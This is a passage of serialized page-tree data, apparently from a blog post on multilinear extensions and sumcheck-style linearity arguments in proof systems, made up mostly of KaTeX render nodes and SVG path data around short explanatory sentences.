ops":117464,"children":117466},{"className":117465},[9635,27190,9683],[117467],{"type":29,"value":9363},{"type":24,"tag":147,"props":117469,"children":117471},{"className":117470},[27347],[117472],{"type":29,"value":27350},{"type":24,"tag":147,"props":117474,"children":117476},{"className":117475},[9660],[117477],{"type":24,"tag":147,"props":117478,"children":117480},{"className":117479,"style":98713},[9665],[117481],{"type":24,"tag":147,"props":117482,"children":117483},{},[],{"type":24,"tag":25,"props":117485,"children":117486},{},[117487,117488,117584,117586,117611,117613,117638],{"type":29,"value":51736},{"type":24,"tag":10949,"props":117489,"children":117490},{},[117491,117493],{"type":29,"value":117492},"linear in ",{"type":24,"tag":80,"props":117494,"children":117496},{"className":117495},[9607,9608],[117497],{"type":24,"tag":147,"props":117498,"children":117500},{"className":117499},[9613],[117501],{"type":24,"tag":147,"props":117502,"children":117504},{"className":117503,"ariaHidden":9619},[9618],[117505],{"type":24,"tag":147,"props":117506,"children":117508},{"className":117507},[9624],[117509,117513],{"type":24,"tag":147,"props":117510,"children":117512},{"className":117511,"style":116021},[9629],[],{"type":24,"tag":147,"props":117514,"children":117516},{"className":117515},[9635],[117517,117522],{"type":24,"tag":147,"props":117518,"children":117520},{"className":117519,"style":98864},[9635,27190],[117521],{"type":29,"value":98867},{"type":24,"tag":147,"props":117523,"children":117525},{"className":117524},[9650],[117526],{"type":24,"tag":147,"props":117527,"children":117529},{"className":117528},[9655,27244],[117530,117573],{"type":24,"tag":147,"props":117531,"children":117533},{"className":117532},[9660],[117534,117568],{"type":24,"tag":147,"props":117535,"children":117537},{"className":117536,"style":99159},[9665],[117538],{"type":24,"tag":147,"props":117539,"children":117540},{"style":116050},[117541,117545],{"type":24,"tag":147,"props":117542,"children":117544},{"className":117543,"style":9675},[9674],[],{"type":24,"tag":147,"props":117546,"children":117548},{"className":117547},[9680,9681,9682,9683],[117549],{"type":24,"tag":147,"props":117550,"children":117552},{"className":117551},[9635,9683],[117553,117558,117563],{"type":24,"tag":147,"props":117554,"children":117556},{"className":117555},[9635,27190,9683],[117557],{"type":29,"value":9363},{"type":24,"tag":147,"props":117559,"children":117561},{"className":117560},[9720,9683],[117562],{"type":29,"value":9694},{"type":24,"tag":147,"props":117564,"children":117566},{"className":117565},[9635,9683],[117567],{"type":29,"value":1154},{"type":24,"tag":147,"props":117569,"children":117571},{"className":117570},[27347],[117572],{"type":29,"value":27350},{"type":24,"tag":147,"props":117574,"children":117576},{"className":117575},[9660],[117577],{"type":24,"tag":147,"props":117578,"children":117580},{"className":117579,"style":116091},[9665],[117581],{"type":24,"tag":147,"props":117582,"children":117583},{},[],{"type":29,"value":117585},"! By induction, the final claim is linear in the original ",{"type":24,"tag":80,"props":117587,"children":117589},{"className":117588},[9607,9608],[117590],{"type":24,"tag":147,"props":117591,"children":117593},{"className":117592},[9613],[117594],{"type":24,"tag":147,"props":117595,"children":117597},{"className":117596,"ariaHidden":9619},[9618],[117598],{"type":24,"tag":147,"props":117599,"children":117601},{"className":117600},[9624],[117602,117606],{"type":24,"tag":147,"props":117603,"children":117605},{"className":117604,"style":27185},[9629],[],{"type":24,"tag":147,"props":117607,"children":117609},{"className":117608,"style":98864},[9635,27190],[117610],{"type":29,"value":98867},{"type":29,"value":117612},". If ",{"type":24,"tag":80,"props":117614,"children":117616},{"className":117615},[9607,9608],[117617],{"type":24,"tag":147,"props":117618,"children":117620},{"className":117619},[9613],[117621],{"type":24,"tag":147,"props":117622,"children":117624},{"className":117623,"ariaHidden":9619},[9618],[117625],{"type":24,"tag":147,"props":117626,"children":117628},{"className":117627},[9624],[117629,117633],{"type":24,"tag":147,"props":117630,"children":117632},{"className":117631,"style":27185},[9629],[],{"type":24,"tag":147,"props":117634,"children":117636},{"className":117635,"style":98864},[9635,27190],[117637],{"type":29,"value":98867},{"type":29,"value":117639}," isn't in the transcript, we can solve for it.",{"type":24,"tag":43,"props":117641,"children":117643},{"id":117642},"multilinear-extensions-mles",[117644],{"type":29,"value":117645},"Multilinear Extensions (MLEs)",{"type":24,"tag":25,"props":117647,"children":117648},{},[117649,117651,117736],{"type":29,"value":117650},"An MLE is just the polynomial view of a table over ",{"type":24,"tag":80,"props":117652,"children":117654},{"className":117653},[9607,9608],[117655],{"type":24,"tag":147,"props":117656,"children":117658},{"className":117657},[9613],[117659],{"type":24,"tag":147,"props":117660,"children":117662},{"className":117661,"ariaHidden":9619},[9618],[117663],{"type":24,"tag":147,"props":117664,"children":117666},{"className":117665},[9624],[117667,117671,117676,117681,117686,117690,117695],{"type":24,"tag":147,"props":117668,"children":117670},{"className":117669,"style":9735},[9629],[],{"type":24,"tag":147,"props":117672,"children":117674},{"className":117673},[27319],[117675],{"type":29,"value":82202},{"type":24,"tag":147,"props":117677,"children":117679},{"className":117678},[9635],[117680],{"type":29,"value":3173},{"type":24,"tag":147,"props":117682,"children":117684},{"className":117683},[9746],[117685],{"type":29,"value":9749},{"type":24,"tag":147,"props":117687,"children":117689},{"className":117688,"style":9753},[9714],[],{"type":24,"tag":147,"props":117691,"children":117693},{"className":117692},[9635],[117694],{"type":29,"value":1154},{"type":24,"tag":147,"props":117696,"children":117698},{"className":117697},[27341],[117699,117704],{"type":24,"tag":147,"props":117700,"children":117702},{"className":117701},[27341],[117703],{"type":29,"value":39741},{"type":24,"tag":147,"props":117705,"children":117707},{"className":117706},[9650],[117708],{"type":24,"tag":147,"props":117709,"children":117711},{"className":117710},[9655],[117712],{"type":24,"tag":147,"props":117713,"children":117715},{"className":117714},[9660],[117716],{"type":24,"tag":147,"props":117717,"children":117719},{"className":117718,"style":114338},[9665],[117720],{"type":24,"tag":147,"props":117721,"children":117722},{"style":9669},[117723,117727],{"type":24,"tag":147,"props":117724,"children":117726},{"className":117725,"style":9675},[9674],[],{"type":24,"tag":147,"props":117728,"children":117730},{"className":117729},[9680,9681,9682,9683],[117731],{"type":24,"tag":147,"props":117732,"children":117734},{"className":117733},[9635,27190,9683],[117735],{"type":29,"value":61991},{"type":29,"value":117737},": it matches the table on Boolean points and extends it to field points.",{"type":24,"tag":25,"props":117739,"children":117740},{},[117741],{"type":29,"value":117742},"For this post, the only property you need is:",{"type":24,"tag":25,"props":117744,"children":117745},{},[117746],{"type":24,"tag":80,"props":117747,"children":117749},{"className":117748},[9607,9608],[117750],{"type":24,"tag":147,"props":117751,"children":117753},{"className":117752},[9613],[117754],{"type":24,"tag":147,"props":117755,"children":117757},{"className":117756,"ariaHidden":9619},[9618],[117758,117919,118191],{"type":24,"tag":147,"props":117759,"children":117761},{"className":117760},[9624],[117762,117767,117836,117841,117901,117906,117910,117915],{"type":24,"tag":147,"props":117763,"children":117766},{"className":117764,"style":117765},[9629],"height:1.1813em;vertical-align:-0.25em;",[],{"type":24,"tag":147,"props":117768,"children":117771},{"className":117769},[9635,117770],"accent",[117772],{"type":24,"tag":147,"props":117773,"children":117775},{"className":117774},[9655,27244],[117776,117824],{"type":24,"tag":147,"props":117777,"children":117779},{"className":117778},[9660],[117780,117819],{"type":24,"tag":147,"props":117781,"children":117784},{"className":117782,"style":117783},[9665],"height:0.9313em;",[117785,117799],{"type":24,"tag":147,"props":117786,"children":117788},{"style":117787},"top:-3em;",[117789,117794],{"type":24,"tag":147,"props":117790,"children":117793},{"className":117791,"style":117792},[9674],"height:3em;",[],{"type":24,"tag":147,"props":117795,"children":117797},{"className":117796,"style":100984},[9635,27190],[117798],{"type":29,"value":6999},{"type":24,"tag":147,"props":117800,"children":117802},{"style":117801},"top:-3.6134em;",[117803,117807],{"type":24,"tag":147,"props":117804,"children":117806},{"className":117805,"style":117792},[9674],[],{"type":24,"tag":147,"props":117808,"children":117812},{"className":117809,"style":117811},[117810],"accent-body","left:-0.0833em;",[117813],{"type":24,"tag":147,"props":117814,"children":117816},{"className":117815},[9635],[117817],{"type":29,"value":117818},"~",{"type":24,"tag":147,"props":117820,"children":117822},{"className":117821},[27347],[117823],{"type":29,"value":27350},{"type":24,"tag":147,"props":117825,"children":117827},{"className":117826},[9660],[117828],{"type":24,"tag":147,"props":117829,"children":117832},{"className":117830,"style":117831},[9665],"height:0.1944em;",[117833],{"type":24,"tag":147,"props":117834,"children":117835},{},[],{"type":24,"tag":147,"props":117837,"children":117839},{"className":117838},[27319],[117840],{"type":29,"value":480},{"type":24,"tag":147,"props":117842,"children":117844},{"className":117843},[9635,117770],[117845],{"type":24,"tag":147,"props":117846,"children":117848},{"className":117847},[9655],[117849],{"type":24,"tag":147,"props":117850,"children":117852},{"className":117851},[9660],[117853],{"type":24,"tag":147,"props":117854,"children":117857},{"className":117855,"style":117856},[9665],"height:0.714em;",[117858,117870],{"type":24,"tag":147,"props":117859,"children":117860},{"style":117787},[117861,117865],{"type":24,"tag":147,"props":117862,"children":117864},{"className":117863,"style":117792},[9674],[],{"type":24,"tag":147,"props":117866,"children":117868},{"className":117867,"style":98630},[9635,27190],[117869],{"type":29,"value":99449},{"type":24,"tag":147,"props":117871,"children":117872},{"style":117787},[117873,117877],{"type":24,"tag":147,"props":117874,"children":117876},{"className":117875,"style":117792},[9674],[],{"type":24,"tag":147,"props":117878,"children":117881},{"className":117879,"style":117880},[117810],"left:-0.1799em;",[117882],{"type":24,"tag":147,"props":117883,"children":117887},{"className":117884,"style":117886},[117885],"overlay","height:0.714em;width:0.471em;",[117888],{"type":24,"tag":39874,"props":117889,"children":117896},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[117897],{"type":24,"tag":6785,"props":117898,"children":117900},{"d":117899},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":24,"tag":147,"props":117902,"children":117904},{"className":117903},[27341],[117905],{"type":29,"value":8758},{"type":24,"tag":147,"props":117907,"children":117909},{"className":117908,"style":9812},[9714],[],{"type":24,"tag":147,"props":117911,"children":117913},{"className":117912},[9817],[117914],{"type":29,"value":369},{"type":24,"tag":147,"props":117916,"children":117918},{"className":117917,"style":9812},[9714],[],{"type":24,"tag":147,"props":117920,"children":117922},{"className":117921},[9624],[117923,117928,118109,118113,118118,118123,118173,118178,118182,118187],{"type":24,"tag":147,"props":117924,"children":117927},{"className":117925,"style":117926},[9629],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":24,"tag":147,"props":117929,"children":117931},{"className":117930},[27226],[117932,117937],{"type":24,"tag":147,"props":117933,"children":117935},{"className":117934,"style":27233},[27226,27231,27232],[117936],{"type":29,"value":114416},{"type":24,"tag":147,"props":117938,"children":117940},{"className":117939},[9650],[117941],{"type":24,"tag":147,"props":117942,"children":117944},{"className":117943},[9655,27244],[117945,118097],{"type":24,"tag":147,"props":117946,"children":117948},{"className":117947},[9660],[117949,118092],{"type":24,"tag":147,"props":117950,"children":117953},{"className":117951,"style":117952},[9665],"height:0.3448em;",[117954],{"type":24,"tag":147,"props":117955,"children":117957},{"style":117956},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[117958,117962],{"type":24,"tag":147,"props":117959,"children":117961},{"className":117960,"style":9675},[9674],[],{"type":24,"tag":147,"props":117963,"children":117965},{"className":117964},[9680,9681,9682,9683],[117966],{"type":24,"tag":147,"props":117967,"children":117969},{"className":117968},[9635,9683],[117970,118024,118029,118034,118039,118044,118049],{"type":24,"tag":147,"props":117971,"children":117973},{"className":117972},[9635,117770,9683],[117974],{"type":24,"tag":147,"props":117975,"children":117977},{"className":117976},[9655],[117978],{"type":24,"tag":147,"props":117979,"children":117981},{"className":117980},[9660],[117982],{"type":24,"tag":147,"props":117983,"children":117986},{"className":117984,"style":117985},[9665],"height:0.9774em;",[117987,118001],{"type":24,"tag":147,"props":117988,"children":117990},{"style":117989},"top:-2.714em;",[117991,117996],{"type":24,"tag":147,"props":117992,"children":117995},{"className":117993,"style":117994},[9674],"height:2.714em;",[],{"type":24,"tag":147,"props":117997,"children":117999},{"className":117998},[9635,27190,9683],[118000],{"type":29,"value":8852},{"type":24,"tag":147,"props":118002,"children":118004},{"style":118003},"top:-2.9774em;",[118005,118009],{"type":24,"tag":147,"props":118006,"children":118008},{"className":118007,"style":117994},[9674],[],{"type":24,"tag":147,"props":118010,"children":118013},{"className":118011,"style":118012},[117810],"left:-0.2355em;",[118014],{"type":24,"tag":147,"props":118015,"children":118017},{"className":118016,"style":117886},[117885,9683],[118018],{"type":24,"tag":39874,"props":118019,"children":118020},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118021],{"type":24,"tag":6785,"props":118022,"children":118023},{"d":117899},[],{"type":24,"tag":147,"props":118025,"children":118027},{"className":118026},[9817,9683],[118028],{"type":29,"value":27297},{"type":24,"tag":147,"props":118030,"children":118032},{"className":118031},[27319,9683],[118033],{"type":29,"value":82202},{"type":24,"tag":147,"props":118035,"children":118037},{"className":118036},[9635,9683],[118038],{"type":29,"value":3173},{"type":24,"tag":147,"props":118040,"children":118042},{"className":118041},[9746,9683],[118043],{"type":29,"value":9749},{"type":24,"tag":147,"props":118045,"children":118047},{"className":118046},[9635,9683],[118048],{"type":29,"value":1154},{"type":24,"tag":147,"props":118050,"children":118052},{"className":118051},[27341,9683],[118053,118058],{"type":24,"tag":147,"props":118054,"children":118056},{"className":118055},[27341,9683],[118057],{"type":29,"value":39741},{"type":24,"tag":147,"props":118059,"children":118061},{"className":118060},[9650],[118062],{"type":24,"tag":147,"props":118063,"children":118065},{"className":118064},[9655],[118066],{"type":24,"tag":147,"props":118067,"children":118069},{"className":118068},[9660],[118070],{"type":24,"tag":147,"props":118071,"children":118074},{"className":118072,"style":118073},[9665],"height:0.5935em;",[118075],{"type":24,"tag":147,"props":118076,"children":118078},{"style":118077},"top:-2.786em;margin-right:0.0714em;",[118079,118083],{"type":24,"tag":147,"props":118080,"children":118082},{"className":118081,"style":114481},[9674],[],{"type":24,"tag":147,"props":118084,"children":118086},{"className":118085},[9680,114486,114487,9683],[118087],{"type":24,"tag":147,"props":118088,"children":118090},{"className":118089},[9635,27190,9683],[118091],{"type":29,"value":61991},{"type":24,"tag":147,"props":118093,"children":118095},{"className":118094},[27347],[118096],{"type":29,"value":27350},{"type":24,"tag":147,"props":118098,"children":118100},{"className":118099},[9660],[118101],{"type":24,"tag":147,"props":118102,"children":118105},{"className":118103,"style":118104},[9665],"height:0.5144em;",[118106],{"type":24,"tag":147,"props":118107,"children":118108},{},[],{"type":24,"tag":147,"props":118110,"children":118112},{"className":118111,"style":9753},[9714],[],{"type":24,"tag":147,"props":118114,"children":118116},{"className":118115,"style":100984},[9635,27190],[118117],{"type":29,"value":6999},{"type":24,"tag":147,"props":118119,"children":118121},{"className":118120},[27319],[118122],{"type":29,"value":480},{"type":24,"tag":147,"props":118124,"children":118126},{"className":118125},[9635,117770],[118127],{"type":24,"tag":147,"props":118128,"children":118130},{"className":118129},[9655],[118131],{"type":24,"tag":147,"props":118132,"children":118134},{"className":118133},[9660],[118135],{"type":24,"tag":147,"props":118136,"children":118138},{"className":118137,"style":117985},[9665],[118139,118151],{"type":24,"tag":147,"props":118140,"children":118141},{"style":117787},[118142,118146],{"type":24,"tag":147,"props":118143,"children":118145},{"className":118144,"style":117792},[9674],[],{"type":24,"tag":147,"props":118147,"children":118149},{"className":118148},[9635,27190],[118150],{"type":29,"value":8852},{"type":24,"tag":147,"props":118152,"children":118154},{"style":118153},"top:-3.2634em;",[118155,118159],{"type":24,"tag":147,"props":118156,"children":118158},{"className":118157,"style":117792},[9674],[],{"type":24,"tag":147,"props":118160,"children":118162},{"className":118161,"style":118012},[117810],[118163],{"type":24,"tag":147,"props":118164,"children":118166},{"className":118165,"style":117886},[117885],[118167],{"type":24,"tag":39874,"props":118168,"children":118169},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118170],{"type":24,"tag":6785,"props":118171,"children":118172},{"d":117899},[],{"type":24,"tag":147,"props":118174,"children":118176},{"className":118175},[27341],[118177],{"type":29,"value":8758},{"type":24,"tag":147,"props":118179,"children":118181},{"className":118180,"style":9715},[9714],[],{"type":24,"tag":147,"props":118183,"children":118185},{"className":118184},[9720],[118186],{"type":29,"value":116883},{"type":24,"tag":147,"props":118188,"children":118190},{"className":118189,"style":9715},[9714],[],{"type":24,"tag":147,"props":118192,"children":118194},{"className":118193},[9624],[118195,118200,118210,118215,118264,118269,118273,118322],{"type":24,"tag":147,"props":118196,"children":118199},{"className":118197,"style":118198},[9629],"height:1.2274em;vertical-align:-0.25em;",[],{"type":24,"tag":147,"props":118201,"children":118203},{"className":118202},[9635,29],[118204],{"type":24,"tag":147,"props":118205,"children":118207},{"className":118206},[9635],[118208],{"type":29,"value":118209},"eq",{"type":24,"tag":147,"props":118211,"children":118213},{"className":118212},[27319],[118214],{"type":29,"value":480},{"type":24,"tag":147,"props":118216,"children":118218},{"className":118217},[9635,117770],[118219],{"type":24,"tag":147,"props":118220,"children":118222},{"className":118221},[9655],[118223],{"type":24,"tag":147,"props":118224,"children":118226},{"className":118225},[9660],[118227],{"type":24,"tag":147,"props":118228,"children":118230},{"className":118229,"style":117985},[9665],[118231,118243],{"type":24,"tag":147,"props":118232,"children":118233},{"style":117787},[118234,118238],{"type":24,"tag":147,"props":118235,"children":118237},{"className":118236,"style":117792},[9674],[],{"type":24,"tag":147,"props":118239,"children":118241},{"className":118240},[9635,27190],[118242],{"type":29,"value":8852},{"type":24,"tag":147,"props":118244,"children":118245},{"style":118153},[118246,118250],{"type":24,"tag":147,"props":118247,"children":118249},{"className":118248,"style":117792},[9674],[],{"type":24,"tag":147,"props":118251,"children":118253},{"className":118252,"style":118012},[117810],[118254],{"type":24,"tag":147,"props":118255,"children":118257},{"className":118256,"style":117886},[117885],[118258],{"type":24,"tag":39874,"props":118259,"children":118260},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118261],{"type":24,"tag":6785,"props":118262,"children":118263},{"d":117899},[],{"type":24,"tag":147,"props":118265,"children":118267},{"className":118266},[9746],[118268],{"type":29,"value":9749},{"type":24,"tag":147,"props":118270,"children":118272},{"className":118271,"style":9753},[9714],[],{"type":24,"tag":147,"props":118274,"children":118276},{"className":118275},[9635,117770],[118277],{"type":24,"tag":147,"props":118278,"children":118280},{"className":118279},[9655],[118281],{"type":24,"tag":147,"props":118282,"children":118284},{"className":118283},[9660],[118285],{"type":24,"tag":147,"props":118286,"children":118288},{"className":118287,"style":117856},[9665],[118289,118301],{"type":24,"tag":147,"props":118290,"children":118291},{"style":117787},[118292,118296],{"type":24,"tag":147,"props":118293,"children":118295},{"className":118294,"style":117792},[9674],[],{"type":24,"tag":147,"props":118297,"children":118299},{"className":118298,"style":98630},[9635,27190],[118300],{"type":29,"value":99449},{"type":24,"tag":147,"props":118302,"children":118303},{"style":117787},[118304,118308],{"type":24,"tag":147,"props":118305,"children":118307},{"className":118306,"style":117792},[9674],[],{"type":24,"tag":147,"props":118309,"children":118311},{"className":118310,"style":117880},[117810],[118312],{"type":24,"tag":147,"props":118313,"children":118315},{"className":118314,"style":117886},[117885],[118316],{"type":24,"tag":39874,"props":118317,"children":118318},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118319],{"type":24,"tag":6785,"props":118320,"children":118321},{"d":117899},[],{"type":24,"tag":147,"props":118323,"children":118325},{"className":118324},[27341],[118326],{"type":29,"value":8758},{"type":24,"tag":25,"props":118328,"children":118329},{},[118330,118332,118401,118403,118549,118551,118690,118692,118776],{"type":29,"value":118331},"At a fixed challenge point ",{"type":24,"tag":80,"props":118333,"children":118335},{"className":118334},[9607,9608],[118336],{"type":24,"tag":147,"props":118337,"children":118339},{"className":118338},[9613],[118340],{"type":24,"tag":147,"props":118341,"children":118343},{"className":118342,"ariaHidden":9619},[9618],[118344],{"type":24,"tag":147,"props":118345,"children":118347},{"className":118346},[9624],[118348,118352],{"type":24,"tag":147,"props":118349,"children":118351},{"className":118350,"style":117856},[9629],[],{"type":24,"tag":147,"props":118353,"children":118355},{"className":118354},[9635,117770],[118356],{"type":24,"tag":147,"props":118357,"children":118359},{"className":118358},[9655],[118360],{"type":24,"tag":147,"props":118361,"children":118363},{"className":118362},[9660],[118364],{"type":24,"tag":147,"props":118365,"children":118367},{"className":118366,"style":117856},[9665],[118368,118380],{"type":24,"tag":147,"props":118369,"children":118370},{"style":117787},[118371,118375],{"type":24,"tag":147,"props":118372,"children":118374},{"className":118373,"style":117792},[9674],[],{"type":24,"tag":147,"props":118376,"children":118378},{"className":118377,"style":98630},[9635,27190],[118379],{"type":29,"value":99449},{"type":24,"tag":147,"props":118381,"children":118382},{"style":117787},[118383,118387],{"type":24,"tag":147,"props":118384,"children":118386},{"className":118385,"style":117792},[9674],[],{"type":24,"tag":147,"props":118388,"children":118390},{"className":118389,"style":117880},[117810],[118391],{"type":24,"tag":147,"props":118392,"children":118394},{"className":118393,"style":117886},[117885],[118395],{"type":24,"tag":39874,"props":118396,"children":118397},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118398],{"type":24,"tag":6785,"props":118399,"children":118400},{"d":117899},[],{"type":29,"value":118402},", the coefficients ",{"type":24,"tag":80,"props":118404,"children":118406},{"className":118405},[9607,9608],[118407],{"type":24,"tag":147,"props":118408,"children":118410},{"className":118409},[9613],[118411],{"type":24,"tag":147,"props":118412,"children":118414},{"className":118413,"ariaHidden":9619},[9618],[118415],{"type":24,"tag":147,"props":118416,"children":118418},{"className":118417},[9624],[118419,118423,118432,118437,118486,118491,118495,118544],{"type":24,"tag":147,"props":118420,"children":118422},{"className":118421,"style":118198},[9629],[],{"type":24,"tag":147,"props":118424,"children":118426},{"className":118425},[9635,29],[118427],{"type":24,"tag":147,"props":118428,"children":118430},{"className":118429},[9635],[118431],{"type":29,"value":118209},{"type":24,"tag":147,"props":118433,"children":118435},{"className":118434},[27319],[118436],{"type":29,"value":480},{"type":24,"tag":147,"props":118438,"children":118440},{"className":118439},[9635,117770],[118441],{"type":24,"tag":147,"props":118442,"children":118444},{"className":118443},[9655],[118445],{"type":24,"tag":147,"props":118446,"children":118448},{"className":118447},[9660],[118449],{"type":24,"tag":147,"props":118450,"children":118452},{"className":118451,"style":117985},[9665],[118453,118465],{"type":24,"tag":147,"props":118454,"children":118455},{"style":117787},[118456,118460],{"type":24,"tag":147,"props":118457,"children":118459},{"className":118458,"style":117792},[9674],[],{"type":24,"tag":147,"props":118461,"children":118463},{"className":118462},[9635,27190],[118464],{"type":29,"value":8852},{"type":24,"tag":147,"props":118466,"children":118467},{"style":118153},[118468,118472],{"type":24,"tag":147,"props":118469,"children":118471},{"className":118470,"style":117792},[9674],[],{"type":24,"tag":147,"props":118473,"children":118475},{"className":118474,"style":118012},[117810],[118476],{"type":24,"tag":147,"props":118477,"children":118479},{"className":118478,"style":117886},[117885],[118480],{"type":24,"tag":39874,"props":118481,"children":118482},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118483],{"type":24,"tag":6785,"props":118484,"children":118485},{"d":117899},[],{"type":24,"tag":147,"props":118487,"children":118489},{"className":118488},[9746],[118490],{"type":29,"value":9749},{"type":24,"tag":147,"props":118492,"children":118494},{"className":118493,"style":9753},[9714],[],{"type":24,"tag":147,"props":118496,"children":118498},{"className":118497},[9635,117770],[118499],{"type":24,"tag":147,"props":118500,"children":118502},{"className":118501},[9655],[118503],{"type":24,"tag":147,"props":118504,"children":118506},{"className":118505},[9660],[118507],{"type":24,"tag":147,"props":118508,"children":118510},{"className":118509,"style":117856},[9665],[118511,118523],{"type":24,"tag":147,"props":118512,"children":118513},{"style":117787},[118514,118518],{"type":24,"tag":147,"props":118515,"children":118517},{"className":118516,"style":117792},[9674],[],{"type":24,"tag":147,"props":118519,"children":118521},{"className":118520,"style":98630},[9635,27190],[118522],{"type":29,"value":99449},{"type":24,"tag":147,"props":118524,"children":118525},{"style":117787},[118526,118530],{"type":24,"tag":147,"props":118527,"children":118529},{"className":118528,"style":117792},[9674],[],{"type":24,"tag":147,"props":118531,"children":118533},{"className":118532,"style":117880},[117810],[118534],{"type":24,"tag":147,"props":118535,"children":118537},{"className":118536,"style":117886},[117885],[118538],{"type":24,"tag":39874,"props":118539,"children":118540},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118541],{"type":24,"tag":6785,"props":118542,"children":118543},{"d":117899},[],{"type":24,"tag":147,"props":118545,"children":118547},{"className":118546},[27341],[118548],{"type":29,"value":8758},{"type":29,"value":118550}," are constants, so ",{"type":24,"tag":80,"props":118552,"children":118554},{"className":118553},[9607,9608],[118555],{"type":24,"tag":147,"props":118556,"children":118558},{"className":118557},[9613],[118559],{"type":24,"tag":147,"props":118560,"children":118562},{"className":118561,"ariaHidden":9619},[9618],[118563],{"type":24,"tag":147,"props":118564,"children":118566},{"className":118565},[9624],[118567,118571,118631,118636,118685],{"type":24,"tag":147,"props":118568,"children":118570},{"className":118569,"style":117765},[9629],[],{"type":24,"tag":147,"props":118572,"children":118574},{"className":118573},[9635,117770],[118575],{"type":24,"tag":147,"props":118576,"children":118578},{"className":118577},[9655,27244],[118579,118620],{"type":24,"tag":147,"props":118580,"children":118582},{"className":118581},[9660],[118583,118615],{"type":24,"tag":147,"props":118584,"children":118586},{"className":118585,"style":117783},[9665],[118587,118599],{"type":24,"tag":147,"props":118588,"children":118589},{"style":117787},[118590,118594],{"type":24,"tag":147,"props":118591,"children":118593},{"className":118592,"style":117792},[9674],[],{"type":24,"tag":147,"props":118595,"children":118597},{"className":118596,"style":100984},[9635,27190],[118598],{"type":29,"value":6999},{"type":24,"tag":147,"props":118600,"children":118601},{"style":117801},[118602,118606],{"type":24,"tag":147,"props":118603,"children":118605},{"className":118604,"style":117792},[9674],[],{"type":24,"tag":147,"props":118607,"children":118609},{"className":118608,"style":117811},[117810],[118610],{"type":24,"tag":147,"props":118611,"children":118613},{"className":118612},[9635],[118614],{"type":29,"value":117818},{"type":24,"tag":147,"props":118616,"children":118618},{"className":118617},[27347],[118619],{"type":29,"value":27350},{"type":24,"tag":147,"props":118621,"children":118623},{"className":118622},[9660],[118624],{"type":24,"tag":147,"props":118625,"children":118627},{"className":118626,"style":117831},[9665],[118628],{"type":24,"tag":147,"props":118629,"children":118630},{},[],{"type":24,"tag":147,"props":118632,"children":118634},{"className":118633},[27319],[118635],{"type":29,"value":480},{"type":24,"tag":147,"props":118637,"children":118639},{"className":118638},[9635,117770],[118640],{"type":24,"tag":147,"props":118641,"children":118643},{"className":118642},[9655],[118644],{"type":24,"tag":147,"props":118645,"children":118647},{"className":118646},[9660],[118648],{"type":24,"tag":147,"props":118649,"children":118651},{"className":118650,"style":117856},[9665],[118652,118664],{"type":24,"tag":147,"props":118653,"children":118654},{"style":117787},[118655,118659],{"type":24,"tag":147,"props":118656,"children":118658},{"className":118657,"style":117792},[9674],[],{"type":24,"tag":147,"props":118660,"children":118662},{"className":118661,"style":98630},[9635,27190],[118663],{"type":29,"value":99449},{"type":24,"tag":147,"props":118665,"children":118666},{"style":117787},[118667,118671],{"type":24,"tag":147,"props":118668,"children":118670},{"className":118669,"style":117792},[9674],[],{"type":24,"tag":147,"props":118672,"children":118674},{"className":118673,"style":117880},[117810],[118675],{"type":24,"tag":147,"props":118676,"children":118678},{"className":118677,"style":117886},[117885],[118679],{"type":24,"tag":39874,"props":118680,"children":118681},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118682],{"type":24,"tag":6785,"props":118683,"children":118684},{"d":117899},[],{"type":24,"tag":147,"props":118686,"children":118688},{"className":118687},[27341],[118689],{"type":29,"value":8758},{"type":29,"value":118691}," is linear in the table values ",{"type":24,"tag":80,"props":118693,"children":118695},{"className":118694},[9607,9608],[118696],{"type":24,"tag":147,"props":118697,"children":118699},{"className":118698},[9613],[118700],{"type":24,"tag":147,"props":118701,"children":118703},{"className":118702,"ariaHidden":9619},[9618],[118704],{"type":24,"tag":147,"props":118705,"children":118707},{"className":118706},[9624],[118708,118712,118717,118722,118771],{"type":24,"tag":147,"props":118709,"children":118711},{"className":118710,"style":118198},[9629],[],{"type":24,"tag":147,"props":118713,"children":118715},{"className":118714,"style":100984},[9635,27190],[118716],{"type":29,"value":6999},{"type":24,"tag":147,"props":118718,"children":118720},{"className":118719},[27319],[118721],{"type":29,"value":480},{"type":24,"tag":147,"props":118723,"children":118725},{"className":118724},[9635,117770],[118726],{"type":24,"tag":147,"props":118727,"children":118729},{"className":118728},[9655],[118730],{"type":24,"tag":147,"props":118731,"children":118733},{"className":118732},[9660],[118734],{"type":24,"tag":147,"props":118735,"children":118737},{"className":118736,"style":117985},[9665],[118738,118750],{"type":24,"tag":147,"props":118739,"children":118740},{"style":117787},[118741,118745],{"type":24,"tag":147,"props":118742,"children":118744},{"className":118743,"style":117792},[9674],[],{"type":24,"tag":147,"props":118746,"children":118748},{"className":118747},[9635,27190],[118749],{"type":29,"value":8852},{"type":24,"tag":147,"props":118751,"c